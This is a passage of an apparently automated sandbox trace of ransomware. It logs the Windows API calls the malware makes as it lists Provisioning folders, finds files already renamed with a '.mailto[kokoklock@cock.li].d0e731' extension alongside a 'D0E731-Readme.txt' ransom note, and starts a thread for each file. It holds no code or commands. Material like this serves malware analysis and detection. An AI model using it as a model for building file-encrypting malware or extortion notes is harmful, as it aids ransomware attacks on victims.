ftLastWriteTime.dwLowDateTime=0x8aca658f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.071] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.071] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.071] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x30230c0 | out: lpFindFileData=0x30230c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ebc18d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ebc18d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8ace142f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0174.071] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.071] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.071] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10c) returned 0x305e330 [0174.071] wcscpy (in: _Dest=0x305e330, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}" [0174.071] wcscat (in: _Dest=0x305e330, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\" [0174.071] wcscat (in: _Dest=0x305e330, _Source="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0174.071] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305e330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x75c [0174.072] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x30230c0 | out: lpFindFileData=0x30230c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bc76a84, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bc76a84, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0174.072] wcscmp (_String1="Prov", _String2=".") returned 1 [0174.072] wcscmp (_String1="Prov", _String2="..") returned 1 [0174.072] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3055a90 [0174.072] wcscpy (in: _Dest=0x3055a90, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}" [0174.072] wcscat (in: _Dest=0x3055a90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\" [0174.072] wcscat (in: _Dest=0x3055a90, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov" [0174.072] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3055a90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x758 [0174.072] FindNextFileW (in: hFindFile=0x2f803a0, lpFindFileData=0x30230c0 | out: lpFindFileData=0x30230c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bc76a84, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bc76a84, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0174.072] FindClose (in: hFindFile=0x2f803a0 | out: hFindFile=0x2f803a0) returned 1 [0174.073] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30230c0) returned 1 [0174.073] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91030) returned 1 [0174.073] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f920b0) returned 1 [0174.073] RtlExitUserThread (Status=0x0) Thread: id = 2153 os_tid = 0x128c [0173.595] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f910e0 [0173.595] wcscpy (in: _Dest=0x2f910e0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}" [0173.595] wcscat (in: _Dest=0x2f910e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\" [0173.595] wcscat (in: _Dest=0x2f910e0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\*" [0173.595] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3023328 [0173.596] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\*", lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8ac5a2c5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ac5a2c5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f803e0 [0173.597] wcscmp (_String1=".", _String2=".") returned 0 [0173.597] FindNextFileW (in: hFindFile=0x2f803e0, lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8ac5a2c5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ac5a2c5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.597] wcscmp (_String1="..", _String2=".") returned 1 [0173.597] wcscmp (_String1="..", _String2="..") returned 0 [0173.597] FindNextFileW (in: hFindFile=0x2f803e0, lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x540f90a7, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x540f90a7, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8ac33fd0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xd79, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0173.597] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.597] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.597] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10a) returned 0x2f6ab60 [0173.597] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}" [0173.597] wcscat (in: _Dest=0x2f6ab60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\" [0173.597] wcscat (in: _Dest=0x2f6ab60, _Source="customizations.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0174.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ab60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x578 [0174.066] FindNextFileW (in: hFindFile=0x2f803e0, lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac33fd0, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8ac33fd0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ac33fd0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.066] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.066] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.066] FindNextFileW (in: hFindFile=0x2f803e0, lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5408696e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x5408696e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8ac5a2c5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0174.066] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.066] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.066] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10c) returned 0x305e218 [0174.066] wcscpy (in: _Dest=0x305e218, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}" [0174.066] wcscat (in: _Dest=0x305e218, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\" [0174.066] wcscat (in: _Dest=0x305e218, _Source="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0174.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305e218, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x764 [0174.067] FindNextFileW (in: hFindFile=0x2f803e0, lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bc506a4, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bc506a4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0174.067] wcscmp (_String1="Prov", _String2=".") returned 1 [0174.067] wcscmp (_String1="Prov", _String2="..") returned 1 [0174.067] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x30559d8 [0174.067] wcscpy (in: _Dest=0x30559d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}" [0174.067] wcscat (in: _Dest=0x30559d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\" [0174.067] wcscat (in: _Dest=0x30559d8, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{23cb517f-5073-4e96-a202-7fe6122a2271}\\Prov" [0174.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x30559d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x760 [0174.068] FindNextFileW (in: hFindFile=0x2f803e0, lpFindFileData=0x3023328 | out: lpFindFileData=0x3023328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bc506a4, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bc506a4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0174.068] FindClose (in: hFindFile=0x2f803e0 | out: hFindFile=0x2f803e0) returned 1 [0174.069] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3023328) returned 1 [0174.069] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f910e0) returned 1 [0174.069] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90b60) returned 1 [0174.069] RtlExitUserThread (Status=0x0) Thread: id = 2154 os_tid = 0x1290 [0173.598] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f91190 [0173.598] wcscpy (in: _Dest=0x2f91190, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}" [0173.598] wcscat (in: _Dest=0x2f91190, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\" [0173.598] wcscat (in: _Dest=0x2f91190, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\*" [0173.598] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30237f8 [0173.598] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\*", lpFindFileData=0x30237f8 | out: lpFindFileData=0x30237f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8abe7a9b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8abe7a9b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f804a0 [0173.600] wcscmp (_String1=".", _String2=".") returned 0 [0173.600] FindNextFileW (in: hFindFile=0x2f804a0, lpFindFileData=0x30237f8 | out: lpFindFileData=0x30237f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d244069, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8abe7a9b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8abe7a9b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.600] wcscmp (_String1="..", _String2=".") returned 1 [0173.600] wcscmp (_String1="..", _String2="..") returned 0 [0173.600] FindNextFileW (in: hFindFile=0x2f804a0, lpFindFileData=0x30237f8 | out: lpFindFileData=0x30237f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8ab9b68e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x71f, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0173.600] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.600] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.600] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10a) returned 0x2f90988 [0173.600] wcscpy (in: _Dest=0x2f90988, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}" [0173.600] wcscat (in: _Dest=0x2f90988, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\" [0173.600] wcscat (in: _Dest=0x2f90988, _Source="customizations.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0174.061] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90988, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x634 [0174.062] FindNextFileW (in: hFindFile=0x2f804a0, lpFindFileData=0x30237f8 | out: lpFindFileData=0x30237f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8abc19f0, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8abc19f0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8abc19f0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.062] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.062] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.062] FindNextFileW (in: hFindFile=0x2f804a0, lpFindFileData=0x30237f8 | out: lpFindFileData=0x30237f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8abe7a9b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0174.062] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0174.062] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0174.062] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10c) returned 0x305d958 [0174.062] wcscpy (in: _Dest=0x305d958, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}" [0174.062] wcscat (in: _Dest=0x305d958, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\" [0174.062] wcscat (in: _Dest=0x305d958, _Source="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0174.062] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305d958, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x76c [0174.063] FindNextFileW (in: hFindFile=0x2f804a0, lpFindFileData=0x30237f8 | out: lpFindFileData=0x30237f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bc2a4e5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bc2a4e5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0174.063] wcscmp (_String1="Prov", _String2=".") returned 1 [0174.063] wcscmp (_String1="Prov", _String2="..") returned 1 [0174.063] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3055920 [0174.063] wcscpy (in: _Dest=0x3055920, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}" [0174.063] wcscat (in: _Dest=0x3055920, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\" [0174.063] wcscat (in: _Dest=0x3055920, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov" [0174.063] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3055920, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x768 [0174.064] FindNextFileW (in: hFindFile=0x2f804a0, lpFindFileData=0x30237f8 | out: lpFindFileData=0x30237f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bc2a4e5, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bc2a4e5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0174.064] FindClose (in: hFindFile=0x2f804a0 | out: hFindFile=0x2f804a0) returned 1 [0174.065] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30237f8) returned 1 [0174.065] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91190) returned 1 [0174.065] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90c10) returned 1 [0174.065] RtlExitUserThread (Status=0x0) Thread: id = 2155 os_tid = 0x1294 [0173.601] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f91240 [0173.601] wcscpy (in: _Dest=0x2f91240, _Source="C:\\Users\\All 